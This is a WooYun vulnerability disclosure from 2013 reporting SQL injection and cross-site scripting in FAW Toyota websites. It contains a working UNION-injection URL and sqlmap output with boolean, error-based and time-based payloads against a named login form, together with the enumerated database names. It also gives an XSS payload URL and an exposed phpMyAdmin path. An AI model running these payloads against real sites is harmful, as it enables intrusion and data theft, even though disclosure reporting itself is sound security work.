当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033493

漏洞标题:一汽丰田多处SQL注入漏洞

相关厂商:一汽丰田

漏洞作者: piaox

提交时间:2013-08-05 09:54

修复时间:2013-09-19 09:54

公开时间:2013-09-19 09:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一汽丰田多处SQL注入漏洞

详细说明:

一汽丰田多处注入漏洞
http://event.ftms.com.cn/box.php?id=-226%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,user%28%29,17,18,19,20,21,22,23,24,25,26,27,28

漏洞证明:

x1.jpg


x2.jpg


D:\python2.7\sqlmap>sqlmap.py -u http://www.ftms.com.cn/splendid/login.php -r yy
.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:11:46
[23:11:46] [INFO] parsing HTTP request from 'yy.txt'
[23:11:47] [INFO] sqlmap got a total of 2 targets
[23:11:47] [INFO] resuming back-end DBMS 'mysql'
[23:11:47] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: refer=&username=1' AND 7187=7187 AND 'Okyw'='Okyw&pass=dd
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: refer=&username=1' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x3
a6c73793a,(SELECT (CASE WHEN (8861=8861) THEN 1 ELSE 0 END)),0x3a6d72703a,FLOOR(
RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'DNBr'='DN
Br&pass=dd
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: refer=&username=1' AND SLEEP(5) AND 'ZpOm'='ZpOm&pass=dd
---
[23:11:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.0, Apache 2.2.4
back-end DBMS: MySQL 5.0
[23:11:48] [INFO] fetching database names
[23:11:48] [INFO] the SQL query used returns 4 entries
[23:11:48] [INFO] resumed: information_schema
[23:11:48] [INFO] resumed: dealer
[23:11:48] [INFO] resumed: news
[23:11:48] [INFO] resumed: test
available databases [4]:
[*] dealer
[*] information_schema
[*] news
[*] test


跨站就不说了,多处还存在存储型XSS,
http://www.reiz.com.cn//index.php?a=ls&f=%22%3E%3Cscript%3Ealert%
28/xss/%29%3C/script%3E&h=480&m=pshow&w=640
http://event.ftms.com.cn/phpmyadmin/

修复方案:

找程序猿

版权声明:转载请注明来源 piaox@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝